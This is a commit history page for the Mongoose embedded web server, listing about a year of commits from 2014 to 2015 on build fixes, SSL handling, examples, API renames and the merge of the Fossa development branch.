Compare commits

...
704 Commits
Author SHA1 Message Date
Sergey Lyubka 8a66ff5278 Mongoose rebrand changes
PUBLISHED_FROM=50497043e8d0c10487804263cdcb1cbb260d5a26
2015-09-21 15:19:35 +01:00
Sergey Lyubka e1dd3f06fe Rename Mongoose constants: NS_ -> MG_, NSF_ -> MG_F_
PUBLISHED_FROM=c9cc54df1883aa17606de2b1ffb30f0cd687d037
2015-09-21 15:19:34 +01:00
Deomid Ryabkov 32ab35f61f Rename hmac_sha1 -> cs_hmac_sha1
PUBLISHED_FROM=3d4fbd8192d04add406e304b113ce5ec0b1c1165
2015-09-21 15:19:34 +01:00
Marko Mikulicic 8ab96ec74b Implement binary and incremental clubby client
PUBLISHED_FROM=ba371b8a3d9dd8afcb771144beb8e5c344c7d6c7
2015-09-21 15:19:33 +01:00
Sergey Lyubka 0730590e35 Fix SSL codepath in restful_server example
PUBLISHED_FROM=4cd52839b8d2396f50f94f1ce36fa7b4501dc204
2015-09-21 15:19:33 +01:00
Marko Mikulicic f7e0b1331c Implement incremental UBJSON serializer
PUBLISHED_FROM=fe0936cbf8c16d5b5cfdf674e8e7181f6b2771cc
2015-09-21 15:19:33 +01:00
Marko Mikulicic 17aa2a7092 Implement streaming base64 encoder
PUBLISHED_FROM=af3c6c0e8f9806c1bdc570c06cc6eea9995d6e3d
2015-09-21 15:19:33 +01:00
Alexander Alashkin 7d38d05ca7 Use updated sockets
PUBLISHED_FROM=30231da54720c709ce98cd0ab208cf9b06814eab
2015-09-21 15:19:33 +01:00
TheTypoMaster 33bad047f0 Fix typo recieve
PUBLISHED_FROM=6e2f4fffb91ff18da94d97aba763acbdde496515
2015-09-09 10:21:21 +01:00
Marko Mikulicic 5234b73c29 Add simple core dumper for ESP
PUBLISHED_FROM=ec98516ce6aa1c841344adc7aae20b044b3d349b
2015-09-09 10:21:21 +01:00
Sergey Lyubka c566e2eba5 Mongoose README
PUBLISHED_FROM=f2409461d1ef4eef81b5481914bee5e596e906f8
2015-09-08 14:42:13 +02:00
Marko Mikulicic e565977481 Merge pull request #568 from cesanta/fossamerge
Merge dev branch code named Fossa as next stable Mongoose
2015-09-08 14:39:52 +02:00
Marko Mikulicic 8927c9d22b Merge dev branch code named Fossa as next stable Mongoose 2015-09-08 14:34:30 +02:00
Marko Mikulicic 28eb251ccd Merge pull request #567 from cesanta/move
Fossa merge
2015-09-08 13:28:38 +02:00
Sergey Lyubka b99dc95b1d Fossa merge.
PUBLISHED_FROM=12ccba10358075024a1195cd0b0c1ea132aae6a3
2015-09-08 12:26:25 +01:00
Sergey Lyubka 75aadb3e79 Fix links 2015-08-26 11:23:54 +01:00
Sergey Lyubka b6ecd5fb4c Update readme 2015-08-20 10:20:02 +01:00
Sergey Lyubka 1e7f55ed84 Update readme 2015-08-20 08:56:14 +01:00
Sergey Lyubka eeadc5ecff Updated readme 2015-08-18 12:21:33 +01:00
Sergey Lyubka 568ca42988 Updated readme 2015-08-18 11:26:43 +01:00
Sergey Lyubka 7b758bfc9d Updated readme 2015-08-18 10:47:23 +01:00
Sergey Lyubka 8ef454b75f Updated readme 2015-08-18 09:50:00 +01:00
Marko Mikulicic 0a2f2fda5c Merge pull request #563 from cesanta/sdp
Tweak event handler a bit for clarity
2015-08-13 15:42:45 +02:00
rojer 6b440918ec Tweak event handler a bit for clarity
Put cases in the order we expect them to occur
2015-08-13 14:38:41 +01:00
Marko Mikulicic a73fce945c Merge pull request #562 from cesanta/sdp
Swallow responses to internal pings
2015-08-12 19:45:04 +02:00
rojer d349bb3cc7 Swallow responses to internal pings 2015-08-12 18:35:18 +01:00
Marko Mikulicic 7c4119a287 Merge pull request #561 from cesanta/sdp
Mongoose example for server data push
2015-08-12 18:52:51 +02:00
rojer 8a71ad99e6 Mongoose example for server data push 2015-08-12 17:42:05 +01:00
Sergey Lyubka 41b405d7bf Remove examples/web_server 2015-07-13 11:14:19 +01:00
Sergey Lyubka 30b80dc5ee Update example 2015-07-13 11:11:26 +01:00
Sergey Lyubka 524aa2e586 Merge pull request #556 from nesteroff/vs2013
Fix VS2013 warnings
2015-07-13 11:03:13 +01:00
Yuri Nesterov 990a1b9ae0 Fix VS2013 warnings 2015-07-12 15:43:54 +03:00
Sergey Lyubka 4cb0c6864e Merge pull request #550 from cesanta/fixpolar
Fix ssl close with polarssl
2015-07-02 17:06:30 +01:00
Marko Mikulicic 5183693951 Fix ssl close with polarssl 2015-07-02 16:26:31 +02:00
Sergey Lyubka e47506f957 Fix unauthenticated body handling 2015-06-22 12:05:31 +01:00
Sergey Lyubka 824e4dc0e4 Fix file upload iteration 2015-06-19 19:01:21 +01:00
Sergey Lyubka d033497714 Merge pull request #541 from NickCis/connection_param_fix
Possible fix in order not to loose the reference of connection_param pointer
2015-06-10 15:32:28 +01:00
Nicolas Cisco d8028df29d Quick fix in order not to loose the reference of connection_param pointer 2015-06-10 01:49:37 -03:00
Sergey Lyubka 564683d25a Fix timeout for cookie auth example 2015-06-05 18:09:27 +01:00
Sergey Lyubka 30c0a3f201 Propagate select() and socketpair() errors to the user 2015-06-04 11:27:31 +01:00
Sergey Lyubka 08fe9ac518 Fix examples 2015-05-20 10:53:10 +01:00
Sergey Lyubka 14d6f71f82 Fix unit test 2015-05-20 10:50:32 +01:00
Sergey Lyubka 29454e2296 Merge pull request #524 from NickCis/array_variables
Implementing array varibles
2015-05-20 10:05:48 +01:00
NickCis d6cbf9f77d Fixing C coding style mistakes 2015-05-19 13:54:35 -03:00
Sergey Lyubka b9fead4d6e Merge pull request #525 from NickCis/mg_vprintf
Adding mg_vprintf and mg_vprintf_data.
2015-05-19 15:54:27 +01:00
Sergey Lyubka c6a04e1719 Fix #523 2015-05-18 11:50:56 +01:00
NickCis c839a61fea Adding mg_vprintf and mg_vprintf_data in order to use va_list like functions 2015-05-15 16:20:33 -03:00
NickCis c06abbc5f7 Implementing array varibles 2015-05-15 15:49:35 -03:00
Sergey Lyubka c8e88e1710 Sync fossa struct definitions 2015-05-15 17:20:54 +01:00
Sergey Lyubka bf7a115bf2 Fix url rewrites 2015-05-11 09:13:46 +01:00
Sergey Lyubka b8dfb69cf5 Merge pull request #514 from cesanta/fix_setsize
Fix default windows FD_SETSIZE, closes #506
2015-04-17 07:10:24 +01:00
Marko Mikulicic 1cd9715095 Fix default windows FD_SETSIZE, closes #506
https://support.microsoft.com/en-us/kb/111855 describes
that the user is expected to set the FD_SETSIZE macro
before including winsock2.h
2015-04-17 02:30:22 +02:00
Sergey Lyubka 5c7aeac148 Merge pull request #509 from cesanta/Fix_mjpg_streamer_example
Fix mjpg_streamer example
2015-04-13 23:37:27 +01:00
Alexander Alashkin 09a80628e6 Fix mjpg_streamer example 2015-04-13 16:02:52 +03:00
Sergey Lyubka 2ff2c369f7 Merge pull request #505 from eugoss/master
Inspect POST buffer in mg_get_var() only if first call of get_var() returns -1
2015-04-10 18:31:15 +01:00
Marko Mikulicic eef70aaf74 Merge pull request #507 from gitter-badger/gitter-badge
Add a Gitter chat badge to README.md
2015-04-09 13:04:18 +02:00
The Gitter Badger 89ac97caba Added Gitter badge 2015-04-09 10:58:41 +00:00
Eugene Ossintsev c00b236c8d Fix spelling in docs/ReleaseNotes.md and in comments in mongoose.c 2015-04-09 00:15:40 -04:00
Eugene Ossintsev eacd3f35e0 Inspect POST buffer in mg_get_var() only if first call of get_var() returns -1
In mg_get_var() the first call of get_var() inspects the variables of
the query string. If the requested variable is found but the destination
buffer is too small to hold the variable, return -2 right away. If it's
not found, make the second call of get_var() to inspect the POST buffer.
2015-04-05 23:40:50 -04:00
Marko Mikulicic 8a2aa72571 Merge pull request #504 from himanshupsharma/check_fd-setsize
Reverting (socket < 0) checks to avoid Windows build failure.
2015-04-03 11:22:50 +02:00
p_himanshu 7da8f273d2 Reverting (socket < 0) checks to avoid Windows build failure. 2015-04-02 16:47:07 -07:00
Sergey Lyubka a90a5a2b6a Merge pull request #503 from himanshupsharma/check_fd-setsize
Adding a check to avoid undefined behavior if socket is out of the bound...
2015-04-02 18:28:23 +01:00
p_himanshu b5b819b4a3 Adding a check to avoid undefined behavior if socket is out of the bounds of FD_SETSIZE. 2015-04-01 22:24:29 -07:00
Sergey Lyubka 821e2b3a75 Merge pull request #501 from xant/upstream
safety belt : scan_directory() can return without setting arr to a valid value
2015-04-01 20:22:20 +01:00
Sergey Lyubka 773efb0745 Respect WEBSOCKET_OPCODE_CONNECTION_CLOSE coming from client 2015-04-01 18:37:13 +01:00
Andrea Guzzo ed1904a75d safety belt : scan_directory() can return without setting arr to a valid value 2015-03-31 12:52:08 +02:00
Sergey Lyubka a66663f0f6 Fix non-openssl build 2015-03-31 10:38:14 +01:00
Sergey Lyubka 1104688b02 Fix win32 build no2 2015-03-25 17:29:34 +00:00
Sergey Lyubka 36d95e230e Fix win32 build 2015-03-25 17:10:58 +00:00
Sergey Lyubka 8a27a95a2a Fix #460 2015-03-24 09:32:16 +00:00
Sergey Lyubka 2e63b5a5e5 Fix #441 2015-03-24 08:04:46 +00:00
Sergey Lyubka 4cbd113d01 Upload multiple files 2015-03-24 07:52:49 +00:00
Sergey Lyubka ba5ae74144 Merge pull request #495 from mmicko/master
OS2 and Android NDK fixes
2015-03-22 17:03:28 +00:00
Miodrag Milanovic f2b40e5fae added comment for time_t change 2015-03-22 17:56:22 +01:00
Sergey Lyubka 8ed682930b Fix #448 2015-03-21 13:17:24 +00:00
Miodrag Milanovic 86ad7922b0 OS2 and Android NDK fixes
Note that in Android NDK st_mtime is long unsigned int
2015-03-21 11:04:57 +01:00
Sergey Lyubka f7476f53c7 Merge pull request #493 from RobertDiPaolo/bugfix/Visual_Studios_Build_Issues
Correctly handle _CRT_SECURE_NO_WARNINGS already being set in project se...
2015-03-20 16:29:11 +00:00
Sergey Lyubka 5d6f7ac8ef Merge pull request #494 from RobertDiPaolo/bugfix/Memory_Leak
Fixed Memory Leak
2015-03-20 16:28:15 +00:00
Sergey Lyubka f16fa5ed55 Merge pull request #492 from RobertDiPaolo/feature/Add_PATCH_Method
Added PATCH to list of valid HTTP Methods.
2015-03-20 16:28:11 +00:00
Sergey Lyubka c0ba32f7a6 Set NS_DISABLE_THREADS ifndef MONGOOSE_ENABLE_THREADS 2015-03-20 15:33:02 +00:00
Sergey Lyubka 409c12a851 Better logic for port resolving 2015-03-18 17:25:46 +00:00
Sergey Lyubka bcdcbf20ee Release 5.6 2015-03-18 17:25:31 +00:00
Sergey Lyubka 8fc5b5a55f Add contribution section to readme 2015-03-18 15:45:52 +00:00
Robert Di Paolo 7cf28a5623 The 'char *ip' variable was being allocated and zeroed but not being used or freed. 2015-03-18 10:04:08 +00:00
Robert Di Paolo 6668c456ac Correctly handle _CRT_SECURE_NO_WARNINGS already being set in project settings. 2015-03-18 09:56:01 +00:00
Robert Di Paolo 98f2476751 Added PATCH to list of valid HTTP Methods. 2015-03-18 09:48:17 +00:00
Sergey Lyubka faeedb2930 Sync main 2015-03-18 09:37:52 +00:00
Sergey Lyubka c8e8f94ffe Sync main 2015-03-17 17:35:31 +00:00
Sergey Lyubka 22aeb6111b Update ReleaseNotes 2015-03-17 17:01:16 +00:00
Sergey Lyubka 2d1d2e6534 SIZE_MAX is not defined on MSVC6, use (size_t) ~0 2015-03-17 17:00:59 +00:00
Sergey Lyubka 05c88a98fc Introduce -dav_root option 2015-03-17 15:34:56 +00:00
Marko Mikulicic 5224afb946 Merge pull request #485 from dsrosario/fix_remove_double_dots 2015-03-17 16:07:46 +01:00
Dinis Rosário 3bd79c7cd5 Fix remove_double_dots_and_double_slashes removing all the dots leading http server to serve wrong URI
If the uri is something like '/js/...jquery.js', remove_double_dots_and_double_slashes will remove the 3 dots and the http server will serves the /js/jquery.js file.
remove_double_dots_and_double_slashes should check if a dot or double dots is followed by a slash (or backslash) and only remove this to avoid disclosure attack.
2015-03-17 16:04:59 +01:00
Sergey Lyubka c52e0744cb Squashed warnings after size_t change 2015-03-17 13:18:15 +00:00
Sergey Lyubka 6c09c303d0 Merge pull request #456 from sebgod/fix-win32-examples-using-extra
Enable building of example/Makefile on Win32
2015-03-17 11:45:36 +00:00
Sergey Lyubka b6fde06990 Merge pull request #486 from mmicko/master
Compile fix
2015-03-16 16:52:48 +00:00
Miodrag Milanovic af892c9726 compile fix for visual studio 2015-03-14 09:02:25 +01:00
Miodrag Milanovic df7ad13680 Compile fix 2015-03-13 20:15:19 +01:00
Sergey Lyubka 057c2d4b42 Merge pull request #484 from davidmilligan/master
fix compiler warnings for 64 bit compilation
2015-03-10 18:40:16 +00:00
David Milligan 6c9b43bcf5 fix compiler warnings for 64 bit compilation 2015-03-09 20:01:09 -04:00
Sergey Lyubka a91438acae Fix #477 2015-03-09 16:09:05 +00:00
Sergey Lyubka a6fa51dbc2 Merge pull request #481 from cesanta/web_server_ssl
web_server_ssl
2015-03-06 14:39:50 +00:00
Alexander Alashkin 6ceac6c84c web_server_ssl 2015-03-06 15:08:57 +02:00
Sergey Lyubka 288efe3c23 Add -DMONGOOSE_ENABLE_THREADS to other examples 2015-03-06 09:29:56 +00:00
Sergey Lyubka 5207545a8b Add -DMONGOOSE_ENABLE_THREADS to proxy server example 2015-03-06 09:28:27 +00:00
Sergey Lyubka 716d524f9b Add -DMONGOOSE_ENABLE_THREADS to Makefile 2015-03-06 09:25:30 +00:00
Sergey Lyubka a434bab767 Merge pull request #480 from cesanta/polarssl_examples_1
websocket_ssl_proxy sample for polarsll
2015-03-06 09:03:38 +00:00
Alexander Alashkin e9633a8d2d websocket_ssl_proxy 2015-03-06 09:32:08 +02:00
Sergey Lyubka c7b6a6f0ea Added mg_websocket_printf() 2015-03-05 10:54:51 +00:00
Sergey Lyubka 6cdb9f7ed3 Merge pull request #474 from mmicko/master
OS/2 patches by KO Myung-Hun
2015-03-04 17:18:16 +00:00
Sergey Lyubka 4502dd0c86 s/MONGOOSE_NO_THREADS/MONGOOSE_ENABLE_THREADS 2015-03-03 18:59:23 +00:00
Sergey Lyubka 95055f6048 Add winsock2.h include for win32 2015-03-03 18:32:14 +00:00
Sergey Lyubka 2c36532ec4 Merge pull request #465 from doug16rogers/vs9-compile-ipv6
Allow for compilation in Visual Studio with NS_ENABLE_IPV6.
2015-03-03 18:28:07 +00:00
Sergey Lyubka f2b0b9c737 Fix Win32 build in mg_websocket_write() 2015-02-24 13:32:22 +00:00
Sergey Lyubka b3866439a0 Fix mg_create_server() signature 2015-02-24 13:17:11 +00:00
Miodrag Milanovic 4f2205a667 OS/2 patches by KO Myung-Hun
Upstream patch from MAME project
2015-02-24 11:12:09 +01:00
Sergey Lyubka 6cec1d36a8 Merge pull request #463 from CurlyMoo/patch-1
Replace obsolete gethostbyname by getaddrinfo
2015-02-19 11:48:35 +00:00
CurlyMoo 4238370ae1 Check for getaddrinfo availability. 2015-02-19 12:09:34 +01:00
Sergey Lyubka b4924b715e Merge pull request #473 from mmicko/master
Fix for MINGW builds
2015-02-17 16:19:37 +00:00
Miodrag Milanovic 7a0385dcac Fix for MINGW builds 2015-02-17 11:08:23 +01:00
Sergey Lyubka 44a146faf6 SSL fixes 2015-02-16 18:34:07 +00:00
Sergey Lyubka 53a55da7bc Add type cast in ns_out() 2015-02-16 18:19:15 +00:00
Sergey Lyubka bf44277764 Define _XOPEN_SOURCE for MinGW build 2015-02-16 18:17:30 +00:00
Sergey Lyubka a2e1da6e30 Add overflow checks 2015-02-12 19:12:58 +00:00
Sergey Lyubka bef3f85ba8 Merge pull request #466 from 0-wiz-0/master
Only define _XOPEN_SOURCE on Linux.
2015-02-10 18:07:07 +00:00
Thomas Klausner eb72a63cca Only define _XOPEN_SOURCE on Linux.
Fixes the build on NetBSD.

The comment says it's only needed on Linux, and AFAIK Linux
is the only operating system that only adds symbols when it's defined;
others, like NetBSD or Solaris, also hide symbols.

Signed-off-by: Thomas Klausner <wiz@NetBSD.org>
2015-01-29 15:02:26 +01:00
Doug Rogers f19bbc73cc Allow for compilation in Visual Studio 9 (2008) with NS_ENABLE_IPV6. 2015-01-29 00:12:35 -05:00
Sergey Lyubka 25326b3b12 net skeleton -> fossa 2015-01-28 12:33:48 +00:00
CurlyMoo 10ee430bfd Add debug line and adapt to styling guide
Replaced tabs with spaces.
2015-01-27 22:55:13 +01:00
CurlyMoo 10d0bfdab4 Replace obsolete gethostbyname by getaddrinfo
This also protect against the latest glibc bug
2015-01-27 22:45:34 +01:00
Sergey Lyubka 6b6637c337 Adopt SSL guide to current way of setting SSL cert. 2015-01-21 17:41:45 +00:00
Sergey Lyubka 878acca213 Removed Lua docs 2015-01-21 17:30:30 +00:00
Sergey Lyubka ace9285966 Updated years 2015-01-19 18:25:14 +00:00
Sergey Lyubka cdc167b0cc Merge pull request #459 from joshcriz/patch-1
Update Makefile
2015-01-19 16:32:24 +00:00
Josh Criz a0dd396b95 Update Makefile
Fixing typo in 'clean' section
2015-01-16 17:59:08 -06:00
Sebastian Godelet 8082501b9c Enable building of example/Makefile on Win32
Adding example/.gitignore to ignore *.exe
Appending -lws2_32 at the end of CFLAGS_EXTRA if running make on
Windows to enable easy compiling under that platform.
Obsoletes pull request #454
2015-01-10 16:41:58 +08:00
Sergey Lyubka e4ad3010be Fix #416 2014-12-30 03:56:29 +00:00
Sergey Lyubka 03a82ef848 Merge pull request #452 from CurlyMoo/patch-2
Typo
2014-12-27 18:25:09 +00:00
CurlyMoo 9459d69dcc Typo 2014-12-27 18:35:09 +01:00
Sergey Lyubka b28662362d Merge pull request #449 from ursine/patch-1
64-bit length fields on ARM don't work
2014-12-21 20:54:52 +00:00
Sergey Lyubka 66450bf3d1 Merge pull request #450 from sebgod/master
mongoose.c: using application/javascript for .js
2014-12-21 16:07:12 +00:00
Sebastian Godelet 478ca05e7a mongoose.c: using application/javascript for .js
As of http://www.rfc-editor.org/rfc/rfc4329.txt, the preferred MIME type
for JavaScript is application/javascript.
2014-12-21 22:16:05 +08:00
Gary Coulbourne 8cad0a72f9 64-bit length fields on ARM don't work
ARM only allows aligned accesses.  GCC generated unaligned accesses for the copy buffer, but ARM forces alignment, causing the first two bytes to be trampled.  I changed the mechanism to create two temporaries and memcpy them in.  It now works on ARM (and x86) for large websocket chunks.
2014-12-17 19:14:30 -05:00
Sergey Lyubka 31178f4d48 Typo fixed in the comment 2014-12-15 12:03:50 +00:00
Sergey Lyubka 7a5485493e Added md5 copyright 2014-12-11 18:01:58 +00:00
Sergey Lyubka d3cbb160f5 Removed travis config file 2014-12-01 11:33:16 +00:00
Sergey Lyubka 45ff2c2c19 Removed $Date$ marker 2014-11-28 14:16:49 +00:00
Sergey Lyubka c3db7b141b Removed $Date$ from header 2014-11-28 12:21:36 +00:00
Sergey Lyubka 0a0ea36ace Fix examples/proxy_server build 2014-11-24 19:33:24 +00:00
Sergey Lyubka 72ed954721 Merge pull request #440 from zapline/patch-1
Update ReleaseNotes.md(spell mistake)
2014-11-20 07:35:24 +00:00
zapline 33e035273a Update ReleaseNotes.md
spell mistake
2014-11-20 09:58:29 +08:00
Sergey Lyubka 223f36c130 Updated Readme 2014-11-17 15:50:02 +00:00
Sergey Lyubka 4c0bc5bd03 Updated Readme 2014-11-17 15:49:37 +00:00
Sergey Lyubka 808a5f6f53 Update README.md 2014-11-13 13:48:43 +00:00
Sergey Lyubka 404e635665 Fixed Android build 2014-11-12 22:16:32 +00:00
Sergey Lyubka 9d7a60a63f Merge pull request #433 from jhnwkmn/malloc
Consistent use of NS_MALLOC, NS_FREE and NS_REALLOC
2014-11-10 10:35:07 +00:00
Johan Wikman ba9c74187b Consistent use of NS_MALLOC, NS_FREE and NS_REALLOC
malloc(), free() and realloc() were used in a number of places.
Added NS_CALLOC as well.
2014-11-10 08:29:19 +02:00
Sergey Lyubka e9d4847cbb Merge pull request #432 from jhnwkmn/o_binary
O_BINARY might be defined.
2014-11-09 10:06:16 +00:00
Sergey Lyubka ea76de07ee Merge pull request #436 from jhnwkmn/no-cgi
MONGOOSE_NO_CGI needs special handling.
2014-11-09 10:04:54 +00:00
Sergey Lyubka 5a8c468ff7 Merge pull request #435 from jhnwkmn/size-macros
Added size macros.
2014-11-09 10:01:59 +00:00
Sergey Lyubka 5b143a6237 Merge pull request #434 from jhnwkmn/no-user
Added MONGOOSE_NO_USER configuration define.
2014-11-09 09:56:31 +00:00
Sergey Lyubka d244a7fdfd Merge pull request #437 from jhnwkmn/nsf-close-immediately
If socket is about to be closed do not add to [read|write]_set.
2014-11-09 09:55:13 +00:00
Johan Wikman 300a27de99 If socket is about to be closed do not add to [read|write]_set.
If NSG_CLOSE_IMMEDIATELY is on, then the socket will be closed,
which means that (if the socket was added to either read_set or
write_set) the subsequent select will in turn be performed on a
socket that has been closed.

Standard socket implementations seem to ignore a descriptor
referring to a closed socket but LWIP
(http://savannah.nongnu.org/projects/lwip/) crashes. So better
not to add to the sets.
2014-11-07 15:48:23 +02:00
Johan Wikman 04a15a0c10 MONGOOSE_NO_CGI needs special handling.
MONGOOSE_NO_CGI is implied by both NS_DISABLE_SOCKETPAIR and
MONGOOSE_NO_FILESYSTEM. Thus, so as not to get complaints about
the same define being defined twice, some extra checks are needed.
2014-11-07 15:29:25 +02:00
Johan Wikman f0f6ae05aa Added size macros.
On very resource constraind devices you need to be able to
control the size of all buffers and structures placed on the
stack.
2014-11-07 14:31:44 +02:00
Johan Wikman 8a7d535d92 Added MONGOOSE_NO_USER configuration define.
Low-end systems, not running a proper OS, may not have the
concept of a user.
2014-11-07 14:01:13 +02:00
Sergey Lyubka e7ac6024de Merge branch 'master' of ssh://github.com/valenok/mongoose 2014-11-07 10:05:51 +00:00
Sergey Lyubka 9981b99ac8 Extra NULL check in iter2(). Fix #430 2014-11-07 10:05:42 +00:00
Johan Wikman 87a36c0c30 O_BINARY might be defined.
Some unix environments defines O_BINARY.
2014-11-07 12:02:11 +02:00
Sergey Lyubka f2b13761c0 Merge pull request #431 from jhnwkmn/reduce-includes
Conditionally include dirent.h and dlfcn.h
2014-11-07 09:51:30 +00:00
Johan Wikman 9786478a31 Conditionally include dirent.h and dlfcn.h
If you do not have a filesystem or do not support dav or
dynamic loading, the corresponding header files need not
be included (some environments might not have them).
2014-11-07 11:05:51 +02:00
Sergey Lyubka 7d236d7f33 Merge pull request #429 from AlexAltea/master
Added #define's for deprecated POSIX names
2014-11-01 20:39:34 +00:00
Alexandro Sánchez Bach e098a7292d Added #define's for deprecated POSIX names 2014-10-30 23:07:48 +01:00
Sergey Lyubka 632b3a38a9 5.5 -> 5.6 2014-10-28 11:43:51 +00:00
Sergey Lyubka 23141c2fef Added 5.5 release notes 2014-10-28 11:42:47 +00:00
Sergey Lyubka c8ba652f1c 5.4 -> 5.5 2014-10-28 11:20:44 +00:00
Sergey Lyubka 6ac2fa2ae6 Updated listening_port for SSL option 2014-10-28 11:20:10 +00:00
Sergey Lyubka 0322ec5647 Include query_string when proxying requests 2014-10-22 12:14:21 +01:00
Sergey Lyubka a5223a9850 Squashed ARM warnings 2014-10-21 15:51:42 +01:00
Sergey Lyubka 016968ada1 Removed net_skeleton dependency from examples/proxy_server 2014-10-17 20:29:39 +01:00
Sergey Lyubka 710b888122 Added -pthread to test/Makefile::CFLAGS 2014-10-17 20:12:29 +01:00
Sergey Lyubka cf53959f34 Fix broken push (type cast) 2014-10-17 20:03:15 +01:00
Sergey Lyubka 30d29fb77f Merge pull request #425 from mpromonet/master
make compile with g++ (fix invalid cast from ‘void*’)
2014-10-17 19:49:59 +01:00
MPR c05b51bbfc make compile with g++ (fix invalid conversion from ‘void*’ to ‘ns_connection*’) 2014-10-16 23:57:14 +02:00
Sergey Lyubka 1ab704ac92 Fixed -DMONGOOSE_NO_DIRECTORY_LISTING build 2014-10-16 10:46:33 +01:00
Sergey Lyubka 2bc77e065c Fixed build 2014-10-15 14:29:22 +01:00
Sergey Lyubka 790daabf7d Enhanced RESTful API example 2014-10-15 11:58:47 +01:00
Sergey Lyubka a6598a1278 Added #define close(x) _close(x) for WIN32 to squash warning 4996 that VS2013 gives 2014-10-15 08:30:49 +01:00
Sergey Lyubka 0af5502b74 Removed redundant #defines for -D_WIN32 case 2014-10-15 08:28:17 +01:00
Sergey Lyubka f059e41cac Removed mg_set_listening_socket() and mg_get_listening_socket(), added mg_copy_listeners() 2014-10-14 15:25:56 +01:00
Sergey Lyubka 2cce91de9a Refactored code for multiple listeners 2014-10-14 14:22:26 +01:00
Sergey Lyubka 0ff5b5b044 Added support for multiple listeners 2014-10-14 13:59:22 +01:00
Sergey Lyubka 0c5d9a98c2 Merge branch 'master' of ssh://github.com/valenok/mongoose 2014-10-14 11:10:47 +01:00
Sergey Lyubka c9fbdfc1b5 mg_open() accepts 3rd param: mode 2014-10-14 11:10:42 +01:00
Sergey Lyubka 6193b5171c Merge pull request #421 from mpromonet/master
transmit http answer code using http_client
2014-10-14 11:10:03 +01:00
Sergey Lyubka 911115ccc0 Added -pthread to CFLAGS for linux 2014-10-14 10:05:12 +00:00
Sergey Lyubka 2f3ddeccc5 Properly trim whitespaces from the hashbang CGI interpreter path 2014-10-13 15:57:34 +01:00
MPR ca3f5a3257 follow Google style 2014-10-12 13:58:06 +02:00
MPR df206bc05a transmit http answer code using http_client 2014-10-11 17:56:35 +02:00
Sergey Lyubka 531fec34fd Added missing files 2014-10-10 14:35:39 +01:00
Sergey Lyubka 4c10d1f356 mongoose_server -> web_server 2014-10-10 13:58:45 +01:00
Sergey Lyubka 94dccdd6f4 c# -> csharp 2014-10-10 10:02:58 +01:00
Sergey Lyubka 544352b7d3 moved jni to android_build 2014-10-10 09:51:57 +01:00
Sergey Lyubka 29c2ae4886 moved multi_threaded to separate dir 2014-10-10 09:51:02 +01:00
Sergey Lyubka 1a2e2ec2fd moved proxy to separate dir 2014-10-10 09:48:43 +01:00
Sergey Lyubka 3e780d21fc moved form.c example to separate dir 2014-10-10 09:44:45 +01:00
Sergey Lyubka 63fcea0159 moved form_submit to separate dir 2014-10-10 09:40:07 +01:00
Sergey Lyubka e5d21225be moved big_upload to separate dir 2014-10-10 09:39:12 +01:00
Sergey Lyubka 0c9caf3120 Moved server.c to separate dir 2014-10-10 09:37:18 +01:00
Sergey Lyubka 54ba36c1c9 check_login_form_submission() factored in separate function 2014-10-09 11:44:12 +01:00
Sergey Lyubka 5077350589 Added cookie based auth example 2014-10-09 11:29:39 +01:00
Sergey Lyubka 2d880c4f5c Moved auth.c to separate dir 2014-10-09 09:42:07 +01:00
Sergey Lyubka 4ca4c862a5 Updated net_skeleton, added extra_headers param to mg_send_file() 2014-10-09 09:26:45 +01:00
Sergey Lyubka 0918df1566 Removed reference to chat.c 2014-10-05 17:29:33 +01:00
Sergey Lyubka aa2583cc26 Added enable_proxy 2014-10-03 11:54:00 +01:00
Sergey Lyubka e1b1d39635 Removed conflicting MIT-related comment block 2014-10-01 12:11:04 +01:00
Sergey Lyubka 3bf82dd541 Merge pull request #419 from grodansparadis/master
connection_data -> user_data
2014-09-22 15:03:19 +01:00
Sergey Lyubka 2896965c97 Fixed link to examples 2014-09-20 08:32:29 +01:00
Ake Hedman 53b784b143 connection_data -> user_data 2014-09-19 08:20:37 +02:00
Sergey Lyubka 8e91e3a305 Timeout only non-listening connections 2014-09-16 07:47:40 +01:00
Sergey Lyubka dbc07c8b00 Moved mjpg_streamer to a separate dir 2014-09-15 19:05:30 +01:00
Sergey Lyubka ce953575e2 Not closing listening connections 2014-09-15 13:48:55 +01:00
Sergey Lyubka 80db048578 Added more dependencies in test/Makefile 2014-09-15 01:28:03 +01:00
Sergey Lyubka 382d165574 Added MONGOOSE_NO_MMAP conditional 2014-09-15 01:18:38 +01:00
Sergey Lyubka 0fb2f38cb7 Fixed mg_connect() call 2014-09-14 15:06:09 +01:00
Sergey Lyubka aa007f1285 Updated travis config 2014-09-11 15:55:18 +01:00
Sergey Lyubka 8752910330 Better UDP support 2014-09-11 15:52:42 +01:00
Sergey Lyubka 2a5a8eec49 removed chat_server dir in examples 2014-09-10 00:59:31 +01:00
Sergey Lyubka ceca52de30 Moved file send_file example to separate dir 2014-09-09 23:23:29 +01:00
Sergey Lyubka 8a3691055c Moved file upload example to separate dir 2014-09-09 23:20:23 +01:00
Sergey Lyubka 56d12c89da Typo in hello_world.c fixed 2014-09-09 22:47:07 +01:00
Sergey Lyubka 2cfce4d8b2 Added copyright 2014-09-09 22:46:24 +01:00
Sergey Lyubka f372faf614 Moved hello.c example to its own dir 2014-09-09 22:44:57 +01:00
Sergey Lyubka 882f3b3ac3 removed hello.lp 2014-09-09 18:26:03 +01:00
Sergey Lyubka fac0e9b0ac Moved unit test to dedicated dir 2014-09-09 18:23:48 +01:00
Sergey Lyubka a3cf67c380 Moved examples/mkdata.pl -> scripts/embed_binary_files.pl 2014-09-09 18:11:57 +01:00
Sergey Lyubka 2987cbdb5c ws_ssl -> websocket_ssl_proxy 2014-09-09 18:09:33 +01:00
Sergey Lyubka 6083b9c5c5 Updated to the recent skeleton. SSL address format changed 2014-09-09 18:07:55 +01:00
Sergey Lyubka 83237a02d9 Made local copies of dependencies 2014-09-09 17:03:50 +01:00
Sergey Lyubka 965188bac9 removed chat.c 2014-09-09 17:01:06 +01:00
Sergey Lyubka 66da41d401 Adopted to the recent net_skeleton 2014-09-09 17:00:49 +01:00
Sergey Lyubka cfd334ac6c Moved websocket echo server example 2014-09-09 09:27:35 +01:00
Sergey Lyubka b5f6254c1e Added date marker 2014-09-08 23:30:52 +01:00
Sergey Lyubka dcbd1cbbd1 Moved pubsub example to websocket_chat 2014-09-08 23:29:34 +01:00
Sergey Lyubka a3b568f460 removed lua_ddl.c 2014-09-08 23:22:46 +01:00
Sergey Lyubka 75770aec80 Merge pull request #415 from mmicko/master
Added mg_mmap and mg_munmap utility functions for memory mapping files
2014-09-07 11:55:27 +01:00
